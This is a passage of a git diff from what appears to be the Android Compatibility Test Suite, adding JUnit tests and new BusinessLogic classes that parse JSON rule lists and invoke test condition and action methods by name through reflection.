+        mExecutor.invokeMethod(METHOD_6, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_6);
+        // assert both String arguments were correctly set for method6
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+    }
+
+    @Test
+    public void testInvokeMethodWithAllArgTypes() throws Exception {
+        mExecutor.invokeMethod(METHOD_7, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_7);
+        // assert all arguments were correctly set for method7
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], mMockBuild);
+        assertEquals("Failed to set second argument", mArgsUsed[2], mMockDevice);
+        assertEquals("Failed to set third argument", mArgsUsed[3], ARG_STRING_2);
+    }
+
+    @Test
+    public void testInvokeOverloadedMethodOneArg() throws Exception {
+        mExecutor.invokeMethod(METHOD_1, ARG_STRING_1);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+        assertEquals("Set wrong number of arguments", mArgsUsed.length, 1);
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+    }
+
+    @Test
+    public void testInvokeOverloadedMethodTwoArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_1, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+        assertEquals("Set wrong number of arguments", mArgsUsed.length, 2);
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testInvokeNonExistentMethod() throws Exception {
+        mExecutor.invokeMethod(FAKE_METHOD, ARG_STRING_1, ARG_STRING_2);
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testInvokeMethodTooManyArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_3, ARG_STRING_1, ARG_STRING_2);
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testInvokeMethodTooFewArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_2, ARG_STRING_1);
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testInvokeMethodIncompatibleArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_8, ARG_STRING_1);
+    }
+
+    @Test
+    public void testExecuteConditionCheckReturnValue() throws Exception {
+        assertTrue("Wrong return value",
+                mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_1));
+        assertFalse("Wrong return value",
+                mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_2));
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testExecuteInvalidCondition() throws Exception {
+        mExecutor.executeCondition(METHOD_1); // method1 does not return type boolean
+    }
+
+    @Test
+    public void testExecuteAction() throws Exception {
+        mExecutor.executeAction(METHOD_2, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
+        // assert both String arguments were correctly set for method2
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testExecuteActionThrowException() throws Exception {
+        mExecutor.executeAction(METHOD_9);
+    }
+
+    @Test
+    public void testExecuteActionViolateAssumption() throws Exception {
+        try {
+            mExecutor.executeAction(METHOD_10);
+            // JUnit4 doesn't support expecting AssumptionViolatedException with "expected"
+            // attribute on @Test annotation, so test using Assert.fail()
+            fail("Expected assumption failure");
+        } catch (AssumptionViolatedException e) {
+            // expected
+        }
+    }
+
+    public void method1() {
+        mInvoked = METHOD_1;
+    }
+
+    // overloaded method with one arg
+    public void method1(String arg1) {
+        mInvoked = METHOD_1;
+        mArgsUsed = new Object[]{arg1};
+    }
+
+    // overloaded method with two args
+    public void method1(String arg1, String arg2) {
+        mInvoked = METHOD_1;
+        mArgsUsed = new Object[]{arg1, arg2};
+    }
+
+    public boolean method2(String arg1, String arg2) {
+        mInvoked = METHOD_2;
+        mArgsUsed = new Object[]{arg1, arg2};
+        return arg1.equals(arg2);
+    }
+
+    public void method3(String arg1, ITestDevice arg2) {
+        mInvoked = METHOD_3;
+
+        mArgsUsed = new Object[]{arg1, arg2};
+    }
+
+    // Same as method3, but flipped args
+    public void method4(ITestDevice arg1, String arg2) {
+        mInvoked = METHOD_4;
+        mArgsUsed = new Object[]{arg1, arg2};
+    }
+
+    public void method5(String... args) {
+        mInvoked = METHOD_5;
+        mArgsUsed = args;
+    }
+
+    public void method6(String arg1, String... moreArgs) {
+        mInvoked = METHOD_6;
+        List<String> allArgs = new ArrayList<>();
+        allArgs.add(arg1);
+        allArgs.addAll(Arrays.asList(moreArgs));
+        mArgsUsed = allArgs.toArray(new String[0]);
+    }
+
+    public void method7(String arg1, IBuildInfo arg2, ITestDevice arg3, String... moreArgs) {
+        mInvoked = METHOD_7;
+        List<Object> allArgs = new ArrayList<>();
+        allArgs.add(arg1);
+        allArgs.add(arg2);
+        allArgs.add(arg3);
+        allArgs.addAll(Arrays.asList(moreArgs));
+        mArgsUsed = allArgs.toArray(new Object[0]);
+    }
+
+    public void method8(String arg1, Integer arg2) {
+        // This method should never be successfully invoked, since Integer parameter types are
+        // unsupported for the BusinessLogic service
+    }
+
+    // throw AssertionFailedError
+    public void method9() throws AssertionFailedError {
+        assertTrue(false);
+    }
+
+    // throw AssumptionViolatedException
+    public void method10() throws AssumptionViolatedException {
+        assumeTrue(false);
+    }
+
+    public static class OtherClass {
+
+        public static String otherInvoked = null;
+
+        public void method1() {
+            otherInvoked = OTHER_METHOD_1;
+        }
+    }
+}
diff --git a/common/host-side/util/tests/src/com/android/compatibility/common/util/DynamicConfigHandlerTest.java b/common/host-side/util/tests/src/com/android/compatibility/common/util/DynamicConfigHandlerTest.java
index ef0e824..a992d0a 100644
--- a/common/host-side/util/tests/src/com/android/compatibility/common/util/DynamicConfigHandlerTest.java
+++ b/common/host-side/util/tests/src/com/android/compatibility/common/util/DynamicConfigHandlerTest.java
@@ -118,7 +118,7 @@
                     .contains("override-config-list-val-2-1"));
         } finally {
             FileUtil.deleteFile(localConfigFile);
-            FileUtil.recursiveDelete(mergedFile.getParentFile());
+            FileUtil.recursiveDelete(mergedFile);
         }
     }
 
diff --git a/common/host-side/util/tests/src/com/android/compatibility/common/util/HostUnitTests.java b/common/host-side/util/tests/src/com/android/compatibility/common/util/HostUnitTests.java
index a706018..32408e4 100644
--- a/common/host-side/util/tests/src/com/android/compatibility/common/util/HostUnitTests.java
+++ b/common/host-side/util/tests/src/com/android/compatibility/common/util/HostUnitTests.java
@@ -15,24 +15,21 @@
  */
 package com.android.compatibility.common.util;
 
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite;
+import org.junit.runners.Suite.SuiteClasses;
 /**
  * A test suite for all host util unit tests.
  * <p/>
  * All tests listed here should be self-contained, and do not require any external dependencies.
  */
-public class HostUnitTests extends TestSuite {
-
-    public HostUnitTests() {
-        super();
-        addTestSuite(DynamicConfigHandlerTest.class);
-        addTestSuite(ModuleResultTest.class);
-        addTestSuite(TestFilterTest.class);
-    }
-
-    public static Test suite() {
-        return new HostUnitTests();
-    }
-}
\ No newline at end of file
+@RunWith(Suite.class)
+@SuiteClasses({
+    BusinessLogicHostExecutorTest.class,
+    DynamicConfigHandlerTest.class,
+    ModuleResultTest.class,
+    TestFilterTest.class,
+})
+public class HostUnitTests {
+    // empty on purpose
+}
diff --git a/common/util/Android.mk b/common/util/Android.mk
index 20bef9d..d5c5f5a 100644
--- a/common/util/Android.mk
+++ b/common/util/Android.mk
@@ -45,6 +45,7 @@
 LOCAL_MODULE := compatibility-common-util-hostsidelib
 
 LOCAL_STATIC_JAVA_LIBRARIES :=  guavalib \
+                                json-prebuilt \
                                 junit-host \
                                 kxml2-2.3.0 \
                                 platform-test-annotations-host
diff --git a/common/util/src/com/android/compatibility/common/util/BusinessLogic.java b/common/util/src/com/android/compatibility/common/util/BusinessLogic.java
new file mode 100644
index 0000000..f7fd071
--- /dev/null
+++ b/common/util/src/com/android/compatibility/common/util/BusinessLogic.java
@@ -0,0 +1,340 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+import org.junit.AssumptionViolatedException;
+
+/**
+ * Helper and constants accessible to host and device components that enable Business Logic
+ * configuration
+ */
+public class BusinessLogic {
+
+    // Device location to which business logic data is pushed
+    public static final String DEVICE_FILE = "/sdcard/bl";
+
+    /* A map from testcase name to the business logic rules for the test case */
+    protected Map<String, List<BusinessLogicRulesList>> mRules;
+    /* Feature flag determining if device specific tests are executed. */
+    public boolean mConditionalTestsEnabled;
+    private AuthenticationStatusEnum mAuthenticationStatus = AuthenticationStatusEnum.UNKNOWN;
+
+    // A Date denoting the time of request from the business logic service
+    protected Date mTimestamp;
+
+    /**
+     * Determines whether business logic exists for a given test name
+     * @param testName the name of the test case, prefixed by fully qualified class name, then '#'.
+     * For example, "com.android.foo.FooTest#testFoo"
+     * @return whether business logic exists for this test for this suite
+     */
+    public boolean hasLogicFor(String testName) {
+        List<BusinessLogicRulesList> rulesLists = mRules.get(testName);
+        return rulesLists != null && !rulesLists.isEmpty();
+    }
+
+    /**
+     * Return whether multiple rule lists exist in the BusinessLogic for this test name.
+     */
+    private boolean hasLogicsFor(String testName) {
+        List<BusinessLogicRulesList> rulesLists = mRules.get(testName);
+        return rulesLists != null && rulesLists.size() > 1;
+    }
+
+    /**
+     * Apply business logic for the given test.
+     * @param testName the name of the test case, prefixed by fully qualified class name, then '#'.
+     * For example, "com.android.foo.FooTest#testFoo"
+     * @param executor a {@link BusinessLogicExecutor}
+     */
+    public void applyLogicFor(String testName, BusinessLogicExecutor executor) {
+        if (!hasLogicFor(testName)) {
+            return;
+        }
+        if (hasLogicsFor(testName)) {
+            applyLogicsFor(testName, executor); // handle this special case separately
+            return;
+        }
+        // expecting exactly one rules list at this point
+        BusinessLogicRulesList rulesList = mRules.get(testName).get(0);
+        rulesList.invokeRules(executor);
+    }
+
+    /**
+     * Handle special case in which multiple rule lists exist for the test name provided.
+     * Execute each rule list in a sandbox and store an exception for each rule list that
+     * triggers failure or skipping for the test.
+     * If all rule lists trigger skipping, rethrow AssumptionViolatedException to report a 'skip'
+     * for the test as a whole.
+     * If one or more rule lists trigger failure, rethrow RuntimeException with a list containing
+     * each failure.
+     */
+    private void applyLogicsFor(String testName, BusinessLogicExecutor executor) {
+        Map<String, RuntimeException> failedMap = new HashMap<>();
+        Map<String, RuntimeException> skippedMap = new HashMap<>();
+        List<BusinessLogicRulesList> rulesLists = mRules.get(testName);
+        for (int index = 0; index < rulesLists.size(); index++) {
+            BusinessLogicRulesList rulesList = rulesLists.get(index);
+            String description = cleanDescription(rulesList.getDescription(), index);
+            try {
+                rulesList.invokeRules(executor);
+            } catch (RuntimeException re) {
+                if (AssumptionViolatedException.class.isInstance(re)) {
+                    skippedMap.put(description, re);
+                    executor.logInfo("Test %s (%s) skipped for reason: %s", testName, description,
+                            re.getMessage());
+                } else {
+                    failedMap.put(description, re);
+                }
+            }
+        }
+        if (skippedMap.size() == rulesLists.size()) {
+            throwAggregatedException(skippedMap, false);
+        } else if (failedMap.size() > 0) {
+            throwAggregatedException(failedMap, true);
+        } // else this test should be reported as a pure pass
+    }
+
+    /**
+     * Helper to aggregate the messages of many {@link RuntimeException}s, and optionally their
+     * stack traces, before throwing an exception.
+     * @param exceptions a map from description strings to exceptions. The descriptive keySet is
+     * used to differentiate which BusinessLogicRulesList caused which exception
+     * @param failed whether to trigger failure. When false, throws assumption failure instead, and
+     * excludes stack traces from the exception message.
+     */
+    private static void throwAggregatedException(Map<String, RuntimeException> exceptions,
+            boolean failed) {
+        Set<String> keySet = exceptions.keySet();
+        String[] descriptions = keySet.toArray(new String[keySet.size()]);
+        StringBuilder msg = new StringBuilder("");
+        msg.append(String.format("Test %s for cases: ", (failed) ? "failed" : "skipped"));
+        msg.append(String.join(", ", descriptions));
+        msg.append("\nReasons include:");
+        for (String description : descriptions) {
+            RuntimeException re = exceptions.get(description);
+            msg.append(String.format("\nMessage [%s]: %s", description, re.getMessage()));
+            if (failed) {
+                StringWriter sw = new StringWriter();
+                re.printStackTrace(new PrintWriter(sw));
+                msg.append(String.format("\nStack Trace: %s", sw.toString()));
+            }
+        }
+        if (failed) {
+            throw new RuntimeException(msg.toString());
+        } else {
+            throw new AssumptionViolatedException(msg.toString());
+        }
+    }
+
+    /**
+     * Helper method to generate a meaningful description in case the provided description is null
+     * or empty. In this case, returns a string representation of the index provided.
+     */
+    private String cleanDescription(String description, int index) {
+        return (description == null || description.length() == 0)
+                ? Integer.toString(index)
+                : description;
+    }
+
+    public void setAuthenticationStatus(String authenticationStatus) {
+        try {
+            mAuthenticationStatus = Enum.valueOf(AuthenticationStatusEnum.class,
+                    authenticationStatus);
+        } catch (IllegalArgumentException e) {
+            // Invalid value, set to unknown
+            mAuthenticationStatus = AuthenticationStatusEnum.UNKNOWN;
+        }
+    }
+
+    public boolean isAuthorized() {
+        return AuthenticationStatusEnum.AUTHORIZED.equals(mAuthenticationStatus);
+    }
+
+    public Date getTimestamp() {
+        return mTimestamp;
+    }
+
+    /**
+     * Builds a user readable string tha explains the authentication status and the effect on tests
+     * which require authentication to execute.
+     */
+    public String getAuthenticationStatusMessage() {
+        switch (mAuthenticationStatus) {
+            case AUTHORIZED:
+                return "Authorized";
+            case NOT_AUTHENTICATED:
+                return "authorization failed, please ensure the service account key is "
+                        + "properly installed.";
+            case NOT_AUTHORIZED:
+                return "service account is not authorized to access information for this device. "
+                        + "Please verify device properties are set correctly and account "
+                        + "permissions are configured to the Business Logic Api.";
+            default:
+                return "something went wrong, please try again.";
+        }
+    }
+
+    /**
+     * A list of BusinessLogicRules, wrapped with an optional description to differentiate rule
+     * lists that apply to the same test.
+     */
+    protected static class BusinessLogicRulesList {
+
+        /* Stored description and rules */
+        protected List<BusinessLogicRule> mRulesList;
+        protected String mDescription;
+
+        public BusinessLogicRulesList(List<BusinessLogicRule> rulesList) {
+            mRulesList = rulesList;
+        }
+
+        public BusinessLogicRulesList(List<BusinessLogicRule> rulesList, String description) {
+            mRulesList = rulesList;
+            mDescription = description;
+        }
+
+        public String getDescription() {
+            return mDescription;
+        }
+
+        public List<BusinessLogicRule> getRules() {
+            return mRulesList;
+        }
+
+        public void invokeRules(BusinessLogicExecutor executor) {
+            for (BusinessLogicRule rule : mRulesList) {
+                // Check conditions
+                if (rule.invokeConditions(executor)) {
+                    rule.invokeActions(executor);
+                }
+            }
+        }
+    }
+
+    /**
+     * Nested class representing an Business Logic Rule. Stores a collection of conditions
+     * and actions for later invokation.
+     */
+    protected static class BusinessLogicRule {
+
+        /* Stored conditions and actions */
+        protected List<BusinessLogicRuleCondition> mConditions;
+        protected List<BusinessLogicRuleAction> mActions;
+
+        public BusinessLogicRule(List<BusinessLogicRuleCondition> conditions,
+                List<BusinessLogicRuleAction> actions) {
+            mConditions = conditions;
+            mActions = actions;
+        }
+
+        /**
+         * Method that invokes all Business Logic conditions for this rule, and returns true
+         * if all conditions evaluate to true.
+         */
+        public boolean invokeConditions(BusinessLogicExecutor executor) {
+            for (BusinessLogicRuleCondition condition : mConditions) {
+                if (!condition.invoke(executor)) {
+                    return false;
+                }
+            }
+            return true;
+        }
+
+        /**
+         * Method that invokes all Business Logic actions for this rule
+         */
+        public void invokeActions(BusinessLogicExecutor executor) {
+            for (BusinessLogicRuleAction action : mActions) {
+                action.invoke(executor);
+            }
+        }
+    }
+
+    /**
+     * Nested class representing an Business Logic Rule Condition. Stores the name of a method
+     * to invoke, as well as String args to use during invokation.
+     */
+    protected static class BusinessLogicRuleCondition {
+
+        /* Stored method name and String args */
+        protected String mMethodName;
+        protected List<String> mMethodArgs;
+        /* Whether or not the boolean result of this condition should be reversed */
+        protected boolean mNegated;
+
+
+        public BusinessLogicRuleCondition(String methodName, List<String> methodArgs,
+                boolean negated) {
+            mMethodName = methodName;
+            mMethodArgs = methodArgs;
+            mNegated = negated;
+        }
+
+        /**
+         * Invoke this Business Logic condition with an executor.
+         */
+        public boolean invoke(BusinessLogicExecutor executor) {
+            // XOR the negated boolean with the return value of the method
+            return (mNegated != executor.executeCondition(mMethodName,
+                    mMethodArgs.toArray(new String[mMethodArgs.size()])));
+        }
+    }
+
+    /**
+     * Nested class representing an Business Logic Rule Action. Stores the name of a method
+     * to invoke, as well as String args to use during invokation.
+     */
+    protected static class BusinessLogicRuleAction {
+
+        /* Stored method name and String args */
+        protected String mMethodName;
+        protected List<String> mMethodArgs;
+
+        public BusinessLogicRuleAction(String methodName, List<String> methodArgs) {
+            mMethodName = methodName;
+            mMethodArgs = methodArgs;
+        }
+
+        /**
+         * Invoke this Business Logic action with an executor.
+         */
+        public void invoke(BusinessLogicExecutor executor) {
+            executor.executeAction(mMethodName,
+                    mMethodArgs.toArray(new String[mMethodArgs.size()]));
+        }
+    }
+
+    /**
+     * Nested enum of the possible authentication statuses.
+     */
+    protected enum AuthenticationStatusEnum {
+        UNKNOWN,
+        NOT_AUTHENTICATED,
+        NOT_AUTHORIZED,
+        AUTHORIZED
+    }
+
+}
diff --git a/common/util/src/com/android/compatibility/common/util/BusinessLogicExecutor.java b/common/util/src/com/android/compatibility/common/util/BusinessLogicExecutor.java
new file mode 100644
index 0000000..4709395
--- /dev/null
+++ b/common/util/src/com/android/compatibility/common/util/BusinessLogicExecutor.java
@@ -0,0 +1,188 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.compatibility.common.util;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import org.junit.AssumptionViolatedException;
+
+/**
+ * Resolves methods provided by the BusinessLogicService and invokes them
+ */
+public abstract class BusinessLogicExecutor {
+
+    protected static final String LOG_TAG = "BusinessLogicExecutor";
+
+    /** String representations of the String class and String[] class */
+    protected static final String STRING_CLASS = "java.lang.String";
+    protected static final String STRING_ARRAY_CLASS = "[Ljava.lang.String;";
+
+    /**
+     * Execute a business logic condition.
+     * @param method the name of the method to invoke. Must include fully qualified name of the
+     * enclosing class, followed by '.', followed by the name of the method
+     * @param args the string arguments to supply to the method
+     * @return the return value of the method invoked
+     * @throws RuntimeException when failing to resolve or invoke the condition method
+     */
+    public boolean executeCondition(String method, String... args) {
+        try {
+            return (Boolean) invokeMethod(method, args);
+        } catch (ClassNotFoundException | IllegalAccessException | InstantiationException |
+                InvocationTargetException | NoSuchMethodException e) {
+            throw new RuntimeException(String.format(
+                    "BusinessLogic: Failed to invoke condition method %s with args: %s", method,
+                    Arrays.toString(args)), e);
+        }
+    }
+
+    /**
+     * Execute a business logic action.
+     * @param method the name of the method to invoke. Must include fully qualified name of the
+     * enclosing class, followed by '.', followed by the name of the method
+     * @param args the string arguments to supply to the method
+     * @throws RuntimeException when failing to resolve or invoke the action method
+     */
+    public void executeAction(String method, String... args) {
+        try {
+            invokeMethod(method, args);
+        } catch (ClassNotFoundException | IllegalAccessException | InstantiationException |
+                NoSuchMethodException e) {
+            throw new RuntimeException(String.format(
+                    "BusinessLogic: Failed to invoke action method %s with args: %s", method,
+                    Arrays.toString(args)), e);
+        } catch (InvocationTargetException e) {
+            // This action throws an exception, so throw the original exception (e.g.
+            // AssertionFailedError) for a more readable stacktrace.
+            Throwable t = e.getCause();
+            if (AssumptionViolatedException.class.isInstance(t)) {
+                // This is an assumption failure (registered as a "pass") so don't wrap this
+                // throwable in a RuntimeException
+                throw (AssumptionViolatedException) t;
+            } else {
+                RuntimeException re = new RuntimeException(t.getMessage(), t.getCause());
+                re.setStackTrace(t.getStackTrace());
+                throw re;
+            }
+        }
+    }
+
+    /**
+     * Execute a business logic method.
+     * @param method the name of the method to invoke. Must include fully qualified name of the
+     * enclosing class, followed by '.', followed by the name of the method
+     * @param args the string arguments to supply to the method
+     * @return the return value of the method invoked (type Boolean if method is a condition)
+     * @throws RuntimeException when failing to resolve or invoke the method
+     */
+    protected Object invokeMethod(String method, String... args) throws ClassNotFoundException,
+            IllegalAccessException, InstantiationException, InvocationTargetException,
+            NoSuchMethodException {
+        // Method names served by the BusinessLogic service should assume format
+        // classname.methodName, but also handle format classname#methodName since test names use
+        // this format
+        int index = (method.indexOf('#') == -1) ? method.lastIndexOf('.') : method.indexOf('#');
+        if (index == -1) {
+            throw new RuntimeException(String.format("BusinessLogic: invalid method name "
+                    + "\"%s\". Method string must include fully qualified class name. "
+                    + "For example, \"com.android.packagename.ClassName.methodName\".", method));
+        }
+        String className = method.substring(0, index);
+        Class cls = Class.forName(className);
+        Object obj = cls.getDeclaredConstructor().newInstance();
+        if (getTestObject() != null && cls.isAssignableFrom(getTestObject().getClass())) {
+            // The given method is a member of the test class, use the known test class instance
+            obj = getTestObject();
+        }
+        ResolvedMethod rm = getResolvedMethod(cls, method.substring(index + 1), args);
+        return rm.invoke(obj);
+    }
+
+    /**
+     * Log information with whichever logging mechanism is available to the instance. This varies
+     * from host-side to device-side, so implementations are left to subclasses.
+     * See {@link String.format(String, Object...)} for parameter information.
+     */
+    public abstract void logInfo(String format, Object... args);
+
+    /**
+     * Get the test object. This method is left abstract, since non-abstract subclasses will set
+     * the test object in the constructor.
+     * @return the test case instance
+     */
+    protected abstract Object getTestObject();
+
+    /**
+     * Get the method and list of arguments corresponding to the class, method name, and proposed
+     * argument values, in the form of a {@link ResolvedMethod} object. This object stores all
+     * information required to successfully invoke the method. getResolvedMethod is left abstract,
+     * since argument types differ between device-side (e.g. Context) and host-side
+     * (e.g. ITestDevice) implementations of this class.
+     * @param cls the Class to which the method belongs
+     * @param methodName the name of the method to invoke
+     * @param args the string arguments to use when invoking the method
+     * @return a {@link ResolvedMethod}
+     * @throws ClassNotFoundException
+     */
+    protected abstract ResolvedMethod getResolvedMethod(Class cls, String methodName,
+            String... args) throws ClassNotFoundException;
+
+    /**
+     * Retrieve all methods within a class that match a given name
+     * @param cls the class
+     * @param name the method name
+     * @return a list of method objects
+     */
+    protected List<Method> getMethodsWithName(Class cls, String name) {
+        List<Method> methodList = new ArrayList<>();
+        for (Method m : cls.getMethods()) {
+            if (name.equals(m.getName())) {
+                methodList.add(m);
+            }
+        }
+        return methodList;
+    }
+
+    /**
+     * Helper class for storing a method object, and a list of arguments to use when invoking the
+     * method. The class is also equipped with an "invoke" method for convenience.
+     */
+    protected static class ResolvedMethod {
+        private Method mMethod;
+        List<Object> mArgs;
+
+        public ResolvedMethod(Method method) {
+            mMethod = method;
+            mArgs = new ArrayList<>();
+        }
+
+        /** Add an argument to the argument list for this instance */
+        public void addArg(Object arg) {
+            mArgs.add(arg);
+        }
+
+        /** Invoke the stored method with the stored args on a given object */
+        public Object invoke(Object instance) throws IllegalAccessException,
+                InvocationTargetException {
+            return mMethod.invoke(instance, mArgs.toArray());
+        }
+    }
+}
diff --git a/common/util/src/com/android/compatibility/common/util/BusinessLogicFactory.java b/common/util/src/com/android/compatibility/common/util/BusinessLogicFactory.java
new file mode 100644
index 0000000..a9df3cf
--- /dev/null
+++ b/common/util/src/com/android/compatibility/common/util/BusinessLogicFactory.java
@@ -0,0 +1,232 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRule;
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRuleAction;
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRuleCondition;
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRulesList;
+
+import java.io.File;
+import java.io.IOException;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Scanner;
+import java.util.TimeZone;
+
+/**
+ * Factory for creating a {@link BusinessLogic}
+ */
+public class BusinessLogicFactory {
+
+    // Name of list object storing test-rules pairs
+    private static final String BUSINESS_LOGIC_RULES_LISTS = "businessLogicRulesLists";
+    // Name of test name string
+    private static final String TEST_NAME = "testName";
+    // Name of rules object (one 'rules' object to a single test)
+    private static final String BUSINESS_LOGIC_RULES = "businessLogicRules";
+    // Name of rule conditions array
+    private static final String RULE_CONDITIONS = "ruleConditions";
+    // Name of rule actions array
+    private static final String RULE_ACTIONS = "ruleActions";
+    // Description of a rule list object
+    private static final String RULES_LIST_DESCRIPTION = "description";
+    // Name of method name string
+    private static final String METHOD_NAME = "methodName";
+    // Name of method args array of strings
+    private static final String METHOD_ARGS = "methodArgs";
+    // Name of the field in the response object that stores that the auth status of the request.
+    private static final String AUTHENTICATION_STATUS = "authenticationStatus";
+    public static final String CONDITIONAL_TESTS_ENABLED = "conditionalTestsEnabled";
+    // Name of the timestamp field
+    private static final String TIMESTAMP = "timestamp";
+    // Date and time pattern for raw timestamp string
+    private static final String TIMESTAMP_PATTERN = "yyyy-MM-dd'T'HH:mm:ss.SSS'Z'";
+
+    /**
+     * Create a BusinessLogic instance from a file of business logic data, formatted in JSON.
+     * This format is identical to that which is received from the Android Partner business logic
+     * service.
+     */
+    public static BusinessLogic createFromFile(File f) {
+        // Populate the map from testname to business rules for this new BusinessLogic instance
+        Map<String, List<BusinessLogicRulesList>> rulesMap = new HashMap<>();
+        BusinessLogic bl = new BusinessLogic();
+        try {
+            String businessLogicString = readFile(f);
+            JSONObject root = new JSONObject(businessLogicString);
+            JSONArray jsonRulesLists = null;
+            if (root.has(AUTHENTICATION_STATUS)){
+                String authStatus = root.getString(AUTHENTICATION_STATUS);
+                bl.setAuthenticationStatus(authStatus);
+            }
+            if (root.has(CONDITIONAL_TESTS_ENABLED)){
+                boolean enabled = root.getBoolean(CONDITIONAL_TESTS_ENABLED);
+                bl.mConditionalTestsEnabled = enabled;
+            }
+            if (root.has(TIMESTAMP)) {
+                bl.mTimestamp = parseTimestamp(root.getString(TIMESTAMP));
+            }
+            try {
+                jsonRulesLists = root.getJSONArray(BUSINESS_LOGIC_RULES_LISTS);
+            } catch (JSONException e) {
+                bl.mRules = rulesMap;
+                return bl; // no rules defined for this suite, leave internal map empty
+            }
+            for (int i = 0; i < jsonRulesLists.length(); i++) {
+                JSONObject jsonRulesList = jsonRulesLists.getJSONObject(i);
+                String testName = jsonRulesList.getString(TEST_NAME);
+                List<BusinessLogicRulesList> testRulesLists = rulesMap.get(testName);
+                if (testRulesLists == null) {
+                    testRulesLists = new ArrayList<>();
+                }
+                testRulesLists.add(extractRulesList(jsonRulesList));
+                rulesMap.put(testName, testRulesLists);
+            }
+        } catch (IOException | JSONException e) {
+            throw new RuntimeException("Business Logic failed", e);
+        }
+        // Return business logic
+        bl.mRules = rulesMap;
+        return bl;
+    }
+
+    /* Extract a BusinessLogicRulesList from the representative JSON object */
+    private static BusinessLogicRulesList extractRulesList(JSONObject rulesListJSONObject)
+            throws JSONException {
+        // First, parse the description for this rule list object, if one exists
+        String description = null;
+        try {
+            description = rulesListJSONObject.getString(RULES_LIST_DESCRIPTION);
+        } catch (JSONException e) { /* no description set, leave null */}
+
+        // Next, get the list of rules
+        List<BusinessLogicRule> rules = new ArrayList<>();
+        JSONArray rulesJSONArray = null;
+        try {
+            rulesJSONArray = rulesListJSONObject.getJSONArray(BUSINESS_LOGIC_RULES);
+        } catch (JSONException e) {
+            // no rules defined for this test case, return new, rule-less BusinessLogicRulesList
+            return new BusinessLogicRulesList(rules, description);
+        }
+        for (int j = 0; j < rulesJSONArray.length(); j++) {
+            JSONObject ruleJSONObject = rulesJSONArray.getJSONObject(j);
+            // Build conditions list
+            List<BusinessLogicRuleCondition> ruleConditions =
+                    extractRuleConditionList(ruleJSONObject);
+            // Build actions list
+            List<BusinessLogicRuleAction> ruleActions =
+                    extractRuleActionList(ruleJSONObject);
+            rules.add(new BusinessLogicRule(ruleConditions, ruleActions));
+        }
+        return new BusinessLogicRulesList(rules, description);
+    }
